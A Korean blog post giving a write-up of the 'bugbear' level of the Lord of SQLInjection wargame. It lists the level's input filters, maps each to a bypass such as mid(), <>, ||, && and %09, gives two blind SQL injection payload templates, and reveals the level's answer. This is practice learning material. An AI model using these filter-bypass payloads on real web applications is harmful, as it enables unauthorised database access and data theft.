일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- webhacking.kr
- 전세
- 매물
- Blind Injection
- 안드로이드
- Los
- 모의해킹
- SQL INJECTION
- Mid()
- APKManager
- 블라인드 인젝션
- 일기
- 웹해킹
- 투자
- 아파트실거래가
- Frida
- 아파트
- NOX
- 후킹
- Lord of SQLInjection
- 호갱노노
- 서울
- 부동산분석
- 프리다
- jeb
- ADB
- 스마트폰
- 월세
- 부동산
- UnCrackable
- Today
- Total
일단 쓰고보자
[los] bugbear 본문
#문제
#문제 의도
- 입력 값 필터링 규칙 (no)
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
1) prob
2) _
3) .
4) ()
5) 싱글쿼터(')
6) substr
7) ascii
8) =
9) or
10) and
11) 공백
12) like
13) 0x
- 입력 값 필터링 규칙 (pw)
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
$_GET[pw] = addslashes($_GET[pw]);
1) 싱글쿼터(')
2) addslashes() 함수는 싱글쿼터('), 더블쿼터("), \, NULL 문자 입력 시 문자 앞에 \를 붙여 일반 문자로 만든다.
- 목표
필터링을 사용하지 않거나 우회하여 쿼리 결과 admin의 pw를 알아내면 해결
#확인사항
- 필터링이 갈수록 상당히 많아지고 있다. 이번엔 darkknight 와 흡사하지만 or, and, 공백, like, 0x 문자가 추가됐다.
- 여전히 no 파라미터를 공략하면 되고, 0x 외엔 다 우회해봤다.
- 0x의 경우에도 'admin' 문자를 만들려고 썼던 것인데, char() 함수로 대체할 수 있다.
1) substr() → mid()
2) ascii() → 안쓰면 되고
3) = → <>
4) or → ||
5) and → &&
6) 공백 → %09
7) 0x → char()
- 위와 같이 대체하고 구문을 만들어보면 아래와 같으며, 계속 유사한 유형의 문제라 이 이상의 설명은 생략한다.
- "Hello admin" 문구를 확인하며 Blind Injection을 시도해보자.
pw=1&no=1%09%7c%7c%09id%09in%09(char(97,100,109,105,110))%09%26%26length(pw)<>[문자열 길이]%23
pw=1&no=1%09%7c%7c%09id%09in%09(char(97,100,109,105,110))%09%26%26%09mid(pw,1,1)<>char([정수])%23
- 정답은 52dc3991
'모의해킹 > Lord of SQLInjection' 카테고리의 다른 글
[los] assassin (0) | 2020.04.08 |
---|---|
[los] giant (0) | 2020.04.07 |
[los] darkknight (0) | 2020.04.07 |
[los] golem (0) | 2020.04.07 |
[los] skeleton (0) | 2020.04.07 |